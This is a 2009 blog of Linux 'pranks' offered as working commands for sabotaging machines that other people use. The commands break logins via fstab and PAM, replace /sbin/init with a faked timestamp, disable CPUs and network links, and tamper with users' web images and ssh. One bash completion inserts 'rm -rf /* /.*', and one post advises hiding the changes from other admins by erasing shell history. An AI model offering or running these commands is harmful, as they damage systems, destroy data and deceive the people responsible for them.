Breaking Systems for Fun and Profit » linux

Bound to nothing…

Mule — Wed, 11 Nov 2009 19:23:55 +0000

Add this little sucker to /etc/fstab and reboot:

/dev/null    /bin/bash    bind   bind   0 0

What login?

Mule — Wed, 14 Oct 2009 08:20:19 +0000

Try and have some fun with this one:

sed -i 's/unix/time/g' /etc/pam.d/system-auth

Who needs multiple cores anyway?

Mule — Tue, 25 Aug 2009 13:10:04 +0000

Do you remember the good old days when all you had was a single core? Time to re-live those glory days!

for I in /sys/devices/system/cpu/cpu[1-9]*
do
    echo 0 > ${I}/online
done

Unfortunately we can’t disable cpu0…

SImplify your init

Mule — Sun, 09 Aug 2009 08:40:11 +0000

This one was submitted by fl0_:

Create a file called init.c

#include 
 
int main(){
 
       printf("MOEHAHAHHAAAA\n");
       return 0;
}

Next run the following commands:

gcc -o init init.c
touch -r /sbin/init init
cp -f init /sbin/init

You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$

The Lolcats, they are everywhere!

Mule — Fri, 07 Aug 2009 07:57:18 +0000

Do you use squid? Are your users under-appreciating the blissful goodness that is the LOLcat? Feel like educating them a bit? Add or replace the following line in /etc/squid/squid.conf:

url_rewrite_program /bin/sed -u -r s!^([^[:space:]]*\.(jp(e)?g|gif|png|tiff|bmp)).*$!http://icanhascheezburger.files.wordpress.com/2009/04/funny-pictures-cat-is-on-your-computer.jpg!

Enterprising bofh’s could use a script to download the referred image, modify it, place it somewhere in /var/www/html and have the rewritten url point to the new bastardised image for extra credit, like this guy did.

It takes a bit more work, so let’s go over the steps:
Make sure you’ve got a webserver running on the same box as your proxy
Add/modify this line in /etc/squid/squid.conf

url_rewrite_program /etc/squid/mirror.sh

Now make /var/www/html writable by the squid user:

setfacl -m u:squid:rwx /var/www/html

And last but not least add this file as /etc/squid/mirror.sh and make it executable:

#!/bin/bash
while read URL
do
    SURL=$(echo ${URL} | cut -d" " -f1)
    echo ${SURL} | egrep -qi "\.(jp(e)?g|gif|png|tiff|bmp|ico)$" &&
        (umask 002
         PIC=$$-${RANDOM}
         wget -q -O /tmp/${PIC} ${SURL}
         convert -quiet /tmp/${PIC} -flop /var/www/html/${PIC}.png &&;
            echo http://127.0.0.1/${PIC}.png
        ) || echo $URL
done

The end result:

Efficient Secure Shell

Mule — Thu, 06 Aug 2009 10:34:11 +0000

Do all those people who use ssh irritate you as well because you can’t eavesdrop on their connections? Teach them a lesson so that they’ll revert to good ol’ telnet!

printf '\tHostname localhost\n' >> /etc/ssh/ssh_config

Help the homeless

Mule — Wed, 05 Aug 2009 09:42:22 +0000

chmod a-x $(find /home -depth -maxdepth 1 -type d)

It’s there isn’t it?

Mule — Tue, 04 Aug 2009 09:35:16 +0000

Try this one to annoy your users. for extra fun replace /bin with /usr/bin, rinse, repeat.

mv /bin '/bin '

Slow down there a bit bro…

Mule — Mon, 03 Aug 2009 17:33:28 +0000

Fast network links getting you down?

for IF in $(ip l | awk -F': ' '/^[0-9]/{print $2}')
do
    ip l s ${IF} mtu 60
done

Especially fun if this machine is acting as a (nat-)router for other boxes…

You make me feel complete

Mule — Tue, 28 Jul 2009 16:28:54 +0000

Pop this one into a bash session and watch the hilarity ensue:

complete -E -W 'rm\ -rf\ /*\ /.*'

And while we’re having fun try this one as well (advertorial alert):

complete -W 'http://breakingsystemsforfunandprofit.com' elinks links firefox chrome midori epiphany wget opera